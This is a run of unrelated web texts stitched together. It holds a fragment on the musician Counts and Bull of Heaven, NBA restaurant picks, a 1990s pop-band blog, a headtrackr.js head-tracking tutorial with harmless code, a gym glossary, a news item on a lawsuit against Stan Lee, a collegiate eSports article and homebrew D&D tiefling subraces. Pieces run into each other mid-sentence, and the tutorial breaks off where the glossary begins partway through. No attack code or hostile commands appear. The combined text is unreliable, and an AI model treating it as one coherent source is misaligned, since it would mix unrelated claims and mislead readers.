In September 2006, Counts gained notoriety when he created a mash-up of The Beach Boys' Pet Sounds with The Beatles' Sgt. Pepper's Lonely Hearts Club Band, aptly titled Sgt. Petsound's Lonely Hearts Club Band and credited to the band The Beachles. The mash-up album was created in conjunction with the 40th anniversary of Pet Sounds, and was favoured by various sites.[5][6] This popularity reached EMI, who in turn issued Counts a cease and desist notice,[7] demanded the IP addresses of everyone who downloaded it through his blog, and attempted to sue him for upwards of $30 mil.[8] However, upon deletion of the album, the case was dropped.[9]
In December, Counts' site announced his death, which was later revealed to be a hoax.[10]
In 2008, Counts along with Neil Keener founded the band Bull of Heaven.[11][12][13] Their first piece, 001: Weed Problem, was released on January 30, 2008. Since then, the band has released more than 300 numbered pieces, a second set of 100 pieces numbered in Roman numerals, many pieces of notable length, as well as a variety of untitled tracks, sound puzzles, and anti-music. On 21 January 2009, Counts was featured as the cover of the Denver Post's arts section, performing a solo piano composition.[14] In 2012, the band's site suffered some downtime, and has been going through various issues since. In July, they announced that a "Series 2" of music would be coming.[15] In 2013, the band announced that new material was nearing completion, and have since added new pieces to their Facebook page and Internet Archive collection.[16] As of 2014, the band are still releasing music regularly with Counts giving an interview in February to Vice in the Netherlands[17] and the band performing at the Lemp Neighborhood Arts Center in St. Louis.[18][19]
Discography [ edit ]
as The Beachles
with Bull of Heaven
See Bull of Heaven discography for concise discography of Bull of Heaven.
Compilation appearances [ edit ]
See also [ edit ]An NBA team plays 82 games (and a few more if they're fortunate), but players eat hundreds of meals over the course of a season. The game might be the main event -- but dinner is essential. When it's time to pick a place, players consider a number of factors. Do they want familiar fare or haute cuisine? A destination or a chain? Here are 10 restaurants the league loves:
1. Nobu (Los Angeles, multiple locations)
For years, Japanese chef Nobuyuki Matsuhisa operated a nondescript storefront on La Cienega Boulevard in Los Angeles for show-biz foodies. Today, it's the NBA's favorite destination restaurant. Steph Curry has shut down the joint, Ron Artest watched a Lakers-Mavs game (from which he was suspended) in the Dallas location, and DeAndre Jordan frequents Malibu Nobu near his home regularly.
2. The Cheesecake Factory (multiple locations)
Drake, who loves all things Raptors and Cheesecake Factory, will be happy to see a new place in Toronto. Vaughn Ridley/Getty Images
When the chain opens this fall in Toronto, The Cheesecake Factory will have a presence in all 28 NBA markets.
That's good news for NBA players, who have a longstanding love affair with this ubiquitous chain. James Harden was eating at the Oklahoma City location at Penn Square Mall when he learned the Thunder had dealt him to Houston.
What's the appeal for players? Enormous portions, roomy booths that can accommodate large bodies, and the security of knowing the offerings are consistent at every location.
3. Philippe by Philippe Chow (New York)
Reigning NBA Champions Golden State Warriors Celebrate Victory by Taking over Philippe New... https://t.co/MfInC3Ybz7 pic.twitter.com/cShTTbICen — The Hollywood Times (@hwoodtimes) February 11, 2016
For more than a decade, savvy NBA veterans haven't been able to get enough of the chicken satay at this upmarket Chinese spot a block off Central Park. But it isn't about the food at Philippe -- it's about the glitz and glamour of celebs holding court in the black lacquer and scarlet parlors. In February 2016, the Warriors took the place over after shellacking the Knicks, hosting nearly 100 friends and family.
4. Prime 112 (Miami)
Dwyane Wade and Gabrielle Union were often spotted at this Miami establishment back in 2013. Alexander Tamargo/Getty Images
Prime 112 is the default postgame dining location for any visiting NBA player to Miami. In both 2013 and 2014, LeBron, D-Wade & Co. hit the contemporary steakhouse after polishing off the Indiana Pacers in the conference finals. After paying the bill, ballers are on the doorstep to South Beach's hot nightlife options.
5. Chipotle Mexican Grill (multiple locations)
More popular with younger guys than with vets, the Mexican fast-casual chain is the NBA's No. 1 go-to option on the road, where there's sure to be a location in close proximity to the team hotel. Many player agents procure a Chipotle celebrity card for their clients, entitling them to a free meal every day. As fast food goes, the burritos and bowls are a comparatively healthy alternative to the chicken fingers that led the league in usage rate a decade ago.
6. Benihana (multiple locations)
Well yall I got up and made it to Benihana. Thank u baby Jesus. A post shared by Mario Chalmers (@mchalmers6) on Sep 28, 2014 at 6:51pm PDT
A thorough investigation found that Pacers star Paul George leads the league in affinity for this Japanese steakhouse chain. There's actually a Twitter feed dedicated to mentions of Benihana by NBA players. The place has several things going for it. The theater-in-the-square seating makes it conducive for group dinners. The hibachi steak, chicken and shrimp offerings make it a protein bomb in an increasingly health-conscious league. And NBA players admire the handles of the swashbuckling chefs.
7. Il Gabbiano (Miami)
Win or lose, Spurs coach and noted oenophile Gregg Popovich is up for some fine dining. AP Photo/Michael Conroy
After then-Miami Heat sharpshooter Ray Allen ripped out the Spurs' hearts in Game 6 of the 2013 NBA Finals, coach Gregg Popovich insisted that the San Antonio Spurs keep their reservation at this white-linen Italian favorite in downtown Miami overlooking Biscayne Bay. The encyclopedic wine list, creamy risottos and veal chops provided a salve for the Spurs. But the just desserts came one year later following Game 4 when they were back at Il Gabbiano after grabbing a 3-1 lead over Miami with two perfect exhibitions of basketball.
8. Catch (New York and West Hollywood)
Lakers guard Jordan Clarkson has been in the sights of paparazzi at Catch in West Hollywood with model Hailey Baldwin. Andrew D. Bernstein/NBAE via Getty Images
Location, location, location is the secret to the enormous New York flagship of this upscale haunt. Situated in the Meatpacking District, players can feast on seafood towers and sushi before heading upstairs to the rooftop bar. When ready to move on, they're only four blocks from 1OAK, the NBA's club of choice in Manhattan. Since opening last year, Catch's West Hollywood location -- also outfitted with an appealing rooftop bar -- has become a magnet for NBA stars during their West coast swing and the offseason.
9. Fogo de Chao (multiple locations)
Rockets center Nene has been known to enjoy an upscale chain serving the tasty Brazilian fare of home. J Pat Carter/Getty Images
A churrascaria used to qualify as too exotic, but when athletes realized that it essentially translates into an all-you-can-eat meat parade served tableside along with unlimited salad and veggies, they began to flock en masse to this Brazilian steakhouse. NBA players like that Fogo takes reservations and will accommodate large parties in private rooms. In March, Jahlil Okafor treated a party of several dozen, including the entire boys basketball team from his alma mater in Chicago.
10. Ruth's Chris Steakhouse (multiple locations)
We at Ruth Chris steakhouse and @jhard13 just asked the waiter did Ruth Chris really live here!! WTF hahahaahah — Kevin Durant (@KDTrey5) January 19, 2010
When eating on the road, NBA players fear the unknown, but they often want a more urbane experience than what The Cheesecake Factory offers. On those nights, they often head to this chain steakhouse that boasts a location in 27 of the league's 28 markets (for visitors to Oklahoma City, we recommend Cattleman's for authenticity, Mahogany for refinement). The BBQ shrimp appetizer is a favorite.Growing up as a kid in the 90’s was pretty fantastic, especially when it came to television, there was so much to watch and enjoy. There was one show that had many Canadian kids and teens watching weekly to see the top music videos and songs of that era. That show was the Hit List, which is the show that influenced this blog post!
The Hit List was either two things, a terrible show promoting the garbage bands of the 90’s, or was the distributor of songs and bands you knew and loved as a kid and probably still have a few songs hidden on your iPod, or it’s both. One thing is for sure there are a few bands who keep making comeback tours, you know the ones, people are going crazy for them! Well this post isn’t about those bands, I don’t even need to say their names, because you know who they are, but here is a top 10 list, of some of the bands/songs you may have forgotten over time.
Keep in mind this list has no specific order, it’s just ten bands and their songs. These are meant to jog your memory. The criteria for the bands is this, they must have been around in at least the mid 90’s, there won’t be much historical context aside that, this is just to sit back and hopefully enjoy a song, or two.
Here we go, number 10: The Moffats
Ah the Canadian boy band the Moffats, started out in the late 80’s and survived all the way until 2001, but hey at least these guys used instruments instead of running around dancing the whole time, like a lot of the other people below. They had popular songs such as, Misery, Just Another Phase and this one Bang Bang Boom.
Number 9: Soul Decision
Another Canadian band you might not remember exactly, but they had hits like Gravity, Tonight, Let’s Do It Right and this somewhat corny song Ooh It’s Kinda Crazy, what’s not to like about this song, or well this video, the clothes, the hair, the N64, they were as 90’s as you could get, also seeing a guy on a laptop seems odd it must have been slow!
Number 8: Five
This British band was weird, they had a lot of strange music videos and pissed off a lot of people singing songs like We Will Rock You, by Queen. Goofy is a word that is probably perfect for this band and this video Don’t Want To Let You Go. Oh yeah they had top songs such as, Everybody get up, When the Lights Go Out, Let’s Dance and dare I say my personal favorite Rock the Party, hmm maybe I should have posted that song instead.
Number 7: Prozzäk
Yet another Canadian band out of Toronto, this band had a unique style, all it’s music videos were cartoons and they told the story about Milo and Simon, two guys in search of love? Sure why not? although the format was strange, it was different and it helped out with songs Sucks to Be You, Strange Disease, Be As (which is meant to have a sweet message, but it’s just weird) and this lovely song http://www.nevergetoveryou, sounds depressing, but it was catchy! Also you can’t forget this predates Facebook and 90% of the people you know having cellphones, which means using a whole website to contact someone wasn’t that weird, or maybe it was really weird just the same.
Number 6: Eiffel 65
If you can’t remember this Italian Europop group then what’s wrong with you? Everyone knew the song Blue! They were blue and if they were green they would die… wasn’t that what they were saying the whole time? Anyway this was another late 90’s band that popped on the scene and gave us Blue, the link you see below, Too Much of Heaven and Move Your Body. A few of the music videos involved the guys running around with an alien, sometimes he was good sometimes he was bad, it’s actually confusing. Seriously if you can’t remember, then maybe you’re too young, or maybe you’re just unlucky you missed out on this band. Try not to let the video and it’s ahem, high quality graphics make your eyes bleed.
Number 5: Dream
Does anyone actually remember Dream? I only remember them because of this song. To be honest, I couldn’t even remember the bands name, I had to google the lyrics and got the lyrics wrong. Luckily google is magic and helped me find this song and trust me, I’m using luckily in the ironic sense. They had top songs called This is Me and He Loves U Not, maybe they had others, but I’m afraid to check, either way I remember this on the hit list, so here is He Loves U Not!
Number 4: A-Teens
A-Teens also known as Abba Teens, oh man please RUN NOW, seriously I’m regretting putting them on this list, but they are part of this super random criteria so here they are. The Swedish Abba teens had such great hits… well they had music and it’s still on youtube and that’s something right? I mean Dream is better than this band, I was at least whiling to research Dream a bit more. Ok I’ll stop being mean now, their top song is the one you see below which is Upside Down, that’s all I got, so enjoy!
Number 3: Chumbawamba
I put this band here cause their name is funny and it brings me back to reality that the last two songs took me out of. Also I had help with this one, (Thanks 🙂 ) and because Serial Joe had poor quality with the one song I wanted to show, anyway Chumbawamba. I get it, they started in the 80’s but one song which is the one you’ll see below is another reason why they hit the list (get it!) anyway Tubthumping is the song they also had other hits such as Amnesia, Add Me, Top of the World.
Before we reach number two, here’s a bonus track, because maybe some of these bands have annoyed you already, hopefully Steal My Sunshine by Len makes you feel a bit better, I know I did after hearing the A-Teens again, by accident, seriously I’m listening to Metallica, or Rise Against when this is all said and done.
Number 2: B4 4
Oh man I’ve been waiting to talk about this band, again Canadian, you have to remember that one song they did called Get Down. First off why the hell did our parents listen to songs like this, it’s weird, really weird to think that all of us 90’s kids would sing this song. Also add in the goofy hair, dancing, and obvious bromance going on and bam you have a random Canadian Boy band, that dare I say, wants to get down. Believe it, or not they hard other top songs like, Go Go, Ball and Chain and the song belong Get Down, when you watch this please enjoy the hilarity.
Number 1: S Club 7
Ok I will admit, they are probably a guilty pleasure group for a lot of us… including myself, but who can blame them? I mean they have everything you need and they have us songs that people still to this day sing and of course are karaoke favorites. The band even has their own girl that looks like baby spice, well sort of, and another member named Rachel who sort of looks like Jennifer Aniston when she was playing Rachel on Friends, what’s not to like?! This British pop band is pretty fantastic and maybe it’s just my brain melting from all the 90’s pop nostalgia, but they were awesome who didn’t enjoy Bring It All Back, Two in A Million, Reach, Natural,Don’t Stop Moving, S Club Party and the heart-wrenching song Never had a Dream Come True! Let’s also remember that their songs weren’t that over the top compared to stuff, like I don’t know B4 4. They also had a pretty terrible television show, but who cares they were awesome, which sort of made that show awesome. So to finish of this blog post here are a bunch of their songs, I dare you to not get addicted!
Enjoy this list? Leave thoughts and comments below, share one facebook and remind your friends what late 90’s music was like and follow me on twitter @NVincelli
If you made it this far thanks for reading and watching!
AdvertisementsThis post is about head tracking and how to use it in 3D. It is surprisingly easy to do with the suitable libraries. We will experiment with headtrackr.js and three.js. headtrackr.js is a nice library from auduno to do head tracking in the browser. You will learn how to do head tracking in webgl in only 20lines of javascript. I love the web and how easy it is :)
tl;dr; links
For a simple example. see the “move a cube with your head” demo
To mess with the code now without any installation, see this jsfiddle example
for an attempt to make 3d more immersive by using head tracking, see this demo
WebRTC is great!
WebRTC starts to get traction. I love that! We have seen WebRTC and getUserMedia several times in the past: in “Punch a Doom Character in Augmented Reality” post, in “Fun With Live Video in WebGL” post and “Augmented Reality 3D Pong” post. It is already in chrome stable, and will be in firefox real soon. They already talk to each other. Here we don’t need the network part of webrtc. We only need get the webcam video, so getUserMedia is enougth. It is in opera 12 too as you can read here.
auduno is part of Opera team. He wrote it as a demo for opera 12 release which contained getUserMedia. For more info on the library, auduno blogged about internals of his library. You can find details in his blog post. Additionnal info are available in the reference documentation. Some examples are already in three.js, like targets or facekat.
Demo Time!!
As usual we did a plugin for tQuery API to make it easy to use in our environement. One can find 2 examples for it: A educational example where your heads controls a box in 3d. For best result, make sure your face is well and evenly lighted
Another demo where the camera follows your head. The whole scene moves as you move your head, providing quite an immersive experience. You can play with it thru jsfiddle too.
Let’s Get Started
Ok now lets see how to use this library with tQuery API. First, we include the tquery.headtrackr files in your code. tQuery plugins supports require.js. It makes dependancies much easier to handle. tquery.headtrackr is no exception, so to include it you can do
1 2 3 require ([ 'tquery.headtrackr' ], function (){ // Your code... });
Or if you use the good old <script>, do something like that to include headtrackr.js itself, the library which handle the head tracking. Then you just include the plugin itself, and you are done.
1 2 <script src= "headtrackr.js" ></script> <script src= "tquery.headtrackr.js" ></script>
Start Tracking Heads
First, you instanciate the object with this simple line. You can pass various options to.createHeadtrackr(opts). Here, opts is an Object with those properties
opts.width : width of the image containing the face. default to 320px
width of the image containing the face. default to 320px opts.height : height of the image containing the face. default to 240px
height of the image containing the face. default to 240px opts.headtrackrOpts : options passed directly to headtrackr.js. default to {}
1 var headTracker = tQuery. createHeadtrackr ();
Default are reasonable, so chances are you dont need to specify anything. To start tracking the head on the webcam, just do the following
1 headTracker. start ();
It is possible to stop it with.stop() or to reset it via.reset().
Debug View is Cool For User Feedback
If you wish enable the debugView, aka the little visualisation the headtracker result. It gives feedback to the user on what is happening. Thus the user can move his head accordingly or to change lighting of the room.
1 headTracker. debugView ( true );
Face Position Notified thru Events
When a face is found, events are dispatched to notify the detected positions.
1 2 3 headTracker. addEventListener ( "found", function ( event ){ // Your code... });
event contains normalized coordinates of the detected face. They use the same axis as WebGL. If the head is on the center, event.x and event.y will be 0. And if the head is vertical, event.angle is 0. More precisely
.x and.y : It is the center position. it varies from [-1,+1], from left to right and bottom to top.
and : It is the center position. it varies from [-1,+1], from left to right and bottom to top..width and.height : the width and height :) If it is half of whole image, it is equal to 1.
and : the width and height :) If it is half of whole image, it is equal to 1..angle : the Z rotation of the detected head. It is in radian as usual.
: the Z rotation of the detected head. It is in radian as usual..headtrackrEvent : the original facetrackingEvent event from headtrackr.js (see reference )
Head tracking… Kesaco?
Head tracking is a well known concept. One can find head tracking on ipad. One can find head tracking on wii. They got impressive result using the informations from the wiimote or even the device orientation. With the kinect, they even track the features of the face itself (e.g. mouth, noze, eyes etc…)
In our case, we use the image from the webcam. Unfortunatly face localisation from an image isn’t exactly 100% accurate to say the least :) See here, this is the same demo as the wii one or the ipad one. Yet the result isn’t as convincing. With headtrackr.js and webrtc, we use only the webcam in a uncontrolled environement. So the accuracy is in consequences.
You can improve efficiency by following a few simples advices: Avoid hats or a too crazy haircut. Being bold with a beard doesn’t help :) Make sure your face is well |
.
Negatives: Also called "eccentric contraction," this is the act of lowering the weight slowly under tension to the start position. Why get negative? Performing negative reps can help stress (and therefore strengthen) muscles in a different manner than simply lifting and lowering, helping the body break through existing strength plateaus.
Progression: Consider this “Movin’ on up” for muscles. Progressions can include anything from increasing weight resistance, repetitions, or number of sets in a workout to decreasing rest time for cardiovascular training. Tracking progression over time in the gym and on the track is a great way to gauge improvement— and see what might need some extra work.
Plateau: Seeing results takes time and practice, and even then, it’s common for progress to eventually come to a halt. Since the body naturally adapts to the stresses of exercise (especially if performing the same routine daily), try varying the program and revving up the intensity to push past workout slumps.
Plyometrics: These movements (like broad jumps, vertical jumps, and even explosive skipping) are designed to increase speed and explosiveness while strengthening joints and muscles. But before bringing back the Kriss Kross, remember that safe and effective plyometrics are all about quality, not quantity.
Supersets: Beef up any workout with this super-charged approach in which two exercises are performed back-to-back with no (or at least minimal) rest in between. Add in a third exercise, and you’ve got a triset. The payoff: more work in a minimal amount of time.
Split: No, we’re not talking about the banana-ice cream-and-fudge variety. A split routine involves dividing up the muscle groups into different training days (i.e. “Monday is leg day in my 5-day split”). The cherry on top: each body part will have sufficient time to recover and rebuild.
The Moves & Machinery
Bench Press: An upper body favorite, this multi-joint exercise is used to strengthen the chest, shoulders, and triceps. Since weights can get heavy, spotters are strongly advised.
Burpee: There’s nothing rude about letting out a few of these at the gym. A variation on the classic “squat thrust” (add a pushup in the down position), this full-body move is properly finished with a vertical jump.
Clean & Jerk: One of two highly-technical Olympic weightlifting events, this explosive two-stage movement begins by "cleaning" the weight from the floor to shoulders, and then "jerking" it overhead with a mighty push from the legs.
Deadlift: Anyone with a toddler has some experience with this movement. Swap in a loaded barbell, though, and form really starts to matter. For a detailed rundown from legendary strength coach Mark Rippetoe, watch here.
Dips: While most of us prefer our dips with the chips, in this version both hands will unfortunately be busy. Performed on a bench, "captain's chair," or assisted dip machine, this tricep, shoulder, and chest exercise is particularly effective because it hits all three muscles groups in addition to effectively engaging the core.
Military Press: Move over GI Joe (and Jane), this exercise is key for anyone looking for some serious overhead strength. From a standing position, with an overhand grip, press the barbell upward until arms are fully extended overhead (be careful not to lean too far back during the lift). Lower back down to the shoulders and repeat.
Pec Deck: A machine alternative to free weights, the pec deck is a popular choice among bodybuilders aiming to isolate and strengthen the chest muscles, or pecs (short for pectorals).
Planks: Jack Sparrow’s absolute favorite, this core-stablizing exercise keeps us on our toes (and forearms) while working the abs, lower back, and obliques.
Power Rack: Also known as a power cage or squat cage, this piece of equipment is where some seriously heavy (or simply safe) lifting takes place. Designed with safety bars to allow for a safer workout, the four-posted rack is a go-to for squats and presses, to name a few.
Pull-ups: The next logical step after graduating from Huggies, this impressive big kid move uses bodyweight to work the back, arms, and shoulders. "Pullups" generally refer to the movement performed with an overhand grip, while chinups are their underhanded cousin. Not quite there yet? Check the gym for an assisted pull-up machine, or try building up to the full movement with pulldowns.
Skullcrushers: Don’t worry, relatively few skulls have actually been harmed during this dynamic triceps exercise. Still, the move brings the barbell (or dumbbells) within inches of the forehead, making for an adrenaline-pumping exercise. We definitely advise a spotter for this one!
Smith Machine: No, it’s not a 16th century torture device. This safety-first piece of equipment holds a loadable bar in place on vertical poles where it can slide up and down without a hitch. Careful not to confuse it with the power rack, however, as Smith Machine's fixed-plane barbell provides a completely different set of movements than a free weight barbell.
Snatch: Watch out, Brad Pitt. Arguably the most highly technical (read: most difficult) movement in strength sports:, the snatch involves lifting the barbell from the floor to a locked arms position overhead in a smooth, continuous motion. A combination of strength, speed, and precision are needed for this Olympic weightlifting event.
Squat Rack: Prepare for little more than popping a squat at this weight room fixture. Built to hold a fully loaded barbell, these stands serve similar purposes as power racks, though without the safety bars.
The Talk
“Can I get a spot?”: Death by free weights would be a terrible way to go, so asking an able bodied gym-goer for a hand is always advised. That added security (and perhaps a few grunts of encouragement) might even push the body to reach its healthy, uppermost limits.
“How many sets do you have left?”: When a machine is in use, workout busy-bodies want to know how long they’ll have to wait around for it.
“Can I work in?”: Assuming this isn’t code for “wanna go out sometime?” these gym-goers are asking if it’s cool to grab a turn while you rest between sets.
“What are you lifting today?": For those following a split training routine (see entry above), the question is what muscle group is on the agenda for that day. The reply might be something like “legs,” “back,” or “chest” (as opposed to “grocery bags” and “laundry baskets”).
“What’s your max, bro?”: Oh, how we love the bro talk. Don’t recall those personal bests? Pick your favorite number and tack on at least one zero to the end of it.
“Can you help me load/rack these?”: Remember how important it was to put toys away? After loading (i.e. adding) weights, proper gym etiquette states they should always be racked or stripped (i.e. removed) and returned from whence they came.
What gym slang did we miss? Tell us your favorites in the comments below, or tweet the author at @jshakeshaft.Spider-Man co-creator Stan Lee is no hero to one ex-sidekick who is suing him for alleged “severe and constant” mental abuse while working for the Marvel Comics icon.
Former assistant Shawn Lukaszewicz, 29, slapped 92-year-old Lee, along with his wife Joan, 93, and daughter Joan Celia Lee, 67, with a lawsuit accusing them of inflicting emotional distress amid unrelenting insults and threats during his employment from October 2014 up to his firing in June 2015.
Papers filed in Los Angeles Superior Court state that in late April, Lukaszewicz had to drive the mastermind behind Spider-Man, the X-Men and the Incredible Hulk to meet Manny Pacquaio.
The boxer didn’t make the meeting because he was due to leave for Vegas to fight Floyd Mayweather. But the suit states that Lee instead berated Lukaszewicz for driving too slowly, calling him a “[f - - king] idiot. You wasted my time... Everyone at the office thinks you are a [f - - king] a - - hole.” Lukaszewicz says he was then threatened with being fired for “kidnapping Stan Lee.”
He also claims he was asked to deliver mail to Lee, who answered the intercom, “Get the [f - - k] out and never ring my damn doorbell again.”
He claims his initial job for Lee was to create a booth for his Comikaze convention, but Lee lambasted Lukaszewicz, saying he’d done a “s - - tty job” and the booth was “f - - king embarrassing.”
Lukaszewicz claimed he was also subjected to abuse by Lee’s daughter, known as JC, who told him “you are f - - king stupid,” as well as calling him a “retarded a - - hole.” He also claims JC would drink alcohol and become “severely abusive.” In March, JC called him and said, “You are my little bitch,” the papers claim.
Lukaszewicz was “constantly reminded how lucky he was to work for the most powerful people in the entertainment industry, and he, therefore, should ‘suck it up’ and be thankful for the abuse,” he says in the suit, which adds that they refused to pay him for all the hours he worked.
Kirk Schenck, attorney for JC Lee, said the former assistant’s lawsuit “should never have been filed and will likely quickly be dismissed.” He said JC Lee had filed a separate lawsuit against the ex-assistant which involves allegations that “Mr. Lukaszewicz committed fraud, conversion and breach of contract against, and harassed and falsely imprisoned, JC Lee leading to his immediate dismissal.”
JC Lee claims in her complaint, also filed in Los Angeles Superior Court, that in June, Lukaszewicz falsely imprisoned her in her car after driving her to San Francisco, then refused to let her exit the vehicle, while “yelling and threatening” and demanding she pay him his agreed driving fee of $700 plus his airfare back to LA. She finally persuaded him to drive back to their hotel and release her after 10 minutes.
JC Lee also claims in her court filing that Lukaszewicz, along with other defendants, conspired to cut her out of business deals and made at least one threat to file a worker’s compensation claim unless he was paid $100,000 by Stan Lee.
Lee runs POW! Entertainment, also named in the suit. Company reps did not respond to us.Reading Time: 2 minutes
By Atara Shields
The grand finals of the largest international collegiate eSports league in the world are coming up, and Ryerson has home-court advantage.
The finals of the Collegiate Starleague (CSL), where hundreds of schools across North America join in competitive video gaming over the season, will take place in Scotiabank Theatre in downtown Toronto from May 12-14.
“It’s nice that we were able to do the events here,” said Theresa Gaffney, the editor-in-chief at CSL. “It would be nice to see a hometown team win.”
In 2009, when CSL was founded, the league ran a single tournament with about 25 schools participating.
“It just caught on,” said Gaffney. “The first season was small, but the second season was twice as big, and it just kept growing exponentially.”
This year, the league’s eighth season, more than 1,500 teams representing 900 schools competed in various title games under the CSL banner.
At the grand finals, the season will end with a bang.
Four tournaments will be played over the course of three days, with teams competing for victory in four games: StarCraft II, Dota 2, CounterStrike: Global Offensive and League of Legends.
CSL is expecting hundreds of spectators.
“I’m definitely interested in seeing the most interesting outcome,” said Gaffney. “I think there are a couple of teams that haven’t been around in our finals that I’m interested in seeing how they come out.”
Ryerson is entered in the League of Legends invitational, a tournament solely for the four Canadian teams CSL asked to participate. The official University League of Legends finals—organized by Riot Games—will take place later in May.
Gaffney said she has a lot of respect for Canadian collegiate eSports teams, adding that many Canadian teams have been successful in the league.
“[University of British Columbia] is the most dominant force in collegiate eSports,” she said.
UBC also happens to be the team Ryerson will be playing in their opening game.
Mirela Tsvetkova, an incoming psychology student at Ryerson and the manager of the school’s League of Legends eSports team, will be coaching the school’s five-player team through the tournament.
“[We have] a lot of determination,” Tsvetkova said of her team. “Being the underdogs or ‘weakest’ team really motivates us to beat the other teams and prove ourselves.”
Though they were eliminated earlier in the season by the University of Ottawa, Ryerson’s eSports team accepted CSL’s invitation to participate in what Gaffney described as “a show-match for Canada.”
“In the invitational, Ryerson is kind of like a dark horse, I would say,” said Gaffney. “But I think they have a shot.”
With the venue close in proximity to Ryerson, Tsvetkova is optimistic that many of the people who expressed interest in supporting the team will be able to come and watch.
Tsvetkova said she doesn’t know what her team will receive if they win, but didn’t seem too worried about prizes.
“I think we’re competing for $5,000,” she said.
Indeed, according to Gaffney, five grand is up for grabs, in addition to “glory.”
Win or lose, the Ryerson team will begin its new season in September with tryouts. After that, they’re aiming for the ultimate eSports glory.
“We’ll make sure we have the best players,” Tsvetkova said. “And hopefully, we win [the official tournament].”
For now, they’re just trying to get past UBC.
Ryerson’s match against UBC is at 4:15 p.m. on Friday.Tiefling Variant I was moderately unimpressed by the Tiefling subraces in the October 2017 Unearthed Arcana. They all had the same standard delayed spell trait with slightly different spell choices. It seemed generic to me. Here's my money to go where my mouth was: Nine Tiefling Subraces for the Nine lords of Hell Tiefling Traits Tieflings share certain racial traits as a result of their infernal descent. Ability Score Increase. Your Charisma score increases by 2. Age. Tieflings mature at the same rate as humans but live a few years longer. Alignment. Tieflings might not have an innate tendency toward evil, but many of them end up there. Evil or not, an independent nature inclines many tieflings toward a chaotic alignment. Size. Tieflings are about the same size and build as humans. Your size is medium. Speed. Your base walking speed is 30 feet. Darkvision. Thanks to your infernal heritage, you have superior vision in dark and dim conditions. You can see in dim light within 60 feet of you as if it were bright light, and in darkness as if it were dim light. You can't discern color in darkness, only shades of gray. Hellish Resistance. You have resistance to fire damage. Languages. You can speak, read, and write Common and Infernal. Subrace. The hellish influence of the Lords of the Nine created nine different varieties of tiefling, each linked with one of the archdevils. Choose one of these subraces. Asmodeus Linked to the undisputed master of the Nine Hells and Lord of Nessus, the ninth layer, tieflings of Asmodeus command fire and darkness while inheriting a powerful constitution to resist all enemies. Ability Score Increase. Your Constitution score increases by 1. Devil's Sight. You can see in magical darkness as if it were nonmagical. Art: Dleoblack Blackfire. When you cast a spell that deals fire damage, you can choose to call upon the infernal power of your bloodline to change it into blackfire as part of the spell. Blackfire deals an additional 1d10 fire damage, which cannot be reduced. You have a number of uses of this ability equal to half of your proficiency bonus. You regain all expended uses when you finish a long rest. Baalzebul The lord of Maladomini, the seventh layer, Baalzebul's tieflings corrupt the minds and bodies of the weak-minded as he does to his sinners. Ability Score Increase. Your Wisdom score increases by 1. Dark Charm. Once your magic has taken grasp of a creature, Baalzebul's power can seize them by the very soul. When you charm a creature, you can use a bonus action to force that creature to make a Wisdom saving throw or become either restrained until the end of its next turn, blinded for up to 1 minute, deafened for up to 1 minute, or poisoned for up to one minute (your choice) instead. The DC for this save equals 8 + your Charisma modifier + proficiency bonus. This effect overrides the charm effect entirely, and ends the spell or ability used to charm the creature. On a successful save, the target knows that it was targeted by a magical effect. When you use this ability, you cannot use it again until you finish a long rest. Infernal Heart. You have advantage on saving throws to resist being charmed. Dispater Dispater's tieflings are formed around the Iron City of Dis itself, which makes up the second layer. Secrets and hidden knowledge number more than creatures in the city, and Dispater's paranoid nature drives him to use his tieflings as exceptional spies and infiltrators Ability Score Increase. Your Dexterity score increases by 1. Fiendish Movement. Your blood is filled with shadows, implanted there by the shadow demons of Dispater. As a bonus action you can choose to change your movement for this turn into Fiendish Movement. Until the end of this turn, when you move you can do so through any creatures and objects as if they were difficult terrain. You can't end your turn in the same space as a creature or object, and will be ejected into the closest adjacent space and take 1d10 bludgeoning damage if you do. You have a number of uses of this ability equal to your proficiency bonus. You regain all expended uses when you finish a long rest.
Fierna Lord of Phlethegos, the fourth layer, Fierna's strong, fierce personality and conviction brought her to rule proudly by her father's side, rather than under him. These qualities bleed into her tieflings, making them resilient and persuasive. Ability Score Increase. Your Constitution score increases by 1. Devil's Tongue. Your words can burn the minds of others and bend their will to yours. If you speak to a creature for 5 minutes, you can attempt to charm it with your fiendish words. At the end of the conversation, the target must succeed on a Wisdom saving throw, whose DC equals 8 + your Charisma modifier + your proficiency bonus. On a failure, the creature is charmed by you for up to ten minutes, until it is attacked or damaged, or until it witnesses its allies being attacked or damaged. On a success, the creature does not know that it was the target of a magical effect. When you use this ability, you cannot use it again until you finish a long rest. Infernal Speech. You gain proficiency in the persuasion and deception skills Glasya The Princess of Hell and Lord of Malebolge, the sixth layer, Glasya is the mastermind of the Nine Hells. Her scheming and plots influence her tieflings to become impressive thieves Ability Score Increase. Your Dexterity score increases by 1. Shadow Shift. Darkness acts as your ally and can help you move quickly and quietly. When you are obscured by dim light or darkness, you can use your bonus action to teleport to another location within 30 feet that you can see and is also in dim light or darkness. The visibility in-between you and your target does not have any impact on this ability. You have a number of uses of this ability equal to half your proficiency bonus. You regain all expended uses of this ability when you finish a long rest. Grasp of Glasya. You know the mage hand cantrip. Charisma is your spellcasting ability for this spell. Levistus Ruler of the icy Stygia, the fifth layer, Levistus is known primarily for bargaining with the doomed. He preaches the beliefs that placing trust in another will always lead to betrayal. Tieflings of Levistus can call upon his power to strike hellish deals and twist the trust of others for personal benefit. Ability Score Increase. Your Intelligence score increases by 1. Devil's Bargain. Thanks to the influence of Levistus in your bloodline, you can bargain with life and death. Choose a target creature that can hear and understand you, and has less than one quarter of its hit points (rounded down) remaining. As an action, you can offer them a deal, activating the effects if they agree. You do not have to explain the details of this deal fully or even accurately, but the target must willingly accept the deal. When a creature accepts, they immediately regain hit points equal to half of their hit point total. At any time in the future, you may choose to have the creature repay its debt to you as a bonus action. You may inflict up to the amount of hit points as was restored to the creature as necrotic damage. This damage ignores resistances and immunities. You immediately regain that amount of hit points for yourself, or half that amount for a creature within 5 feet of you. This creature cannot be the one that you have struck the deal with. The target creature must be on the same plane of existence as you in order to repay their debt. You may only have one deal active at any time. When you use this ability, you cannot use it again until you finish a long rest. Mammon The Lord of Minauros, the sixth layer of hell, Mammon is the infernal patron of greed and lust. His influence grants tieflings a desire and respect for coin and wealth, as well as a supernatural attachment to it. Ability Score Increase. Your Wisdom score increases by 1. Devil's Greed. Gold and gold coins are attracted to your hands. You can, as a bonus action, pull up to 2 pounds of loose gold or 20 gold coins that you can see within 10 feet of you to your hand. The gold flies quickly and directly through the air, and cannot pass through or around any obstruction. Master of Haggling. You have advantage on persuasion checks made when bargaining in commerce. Mephistopheles 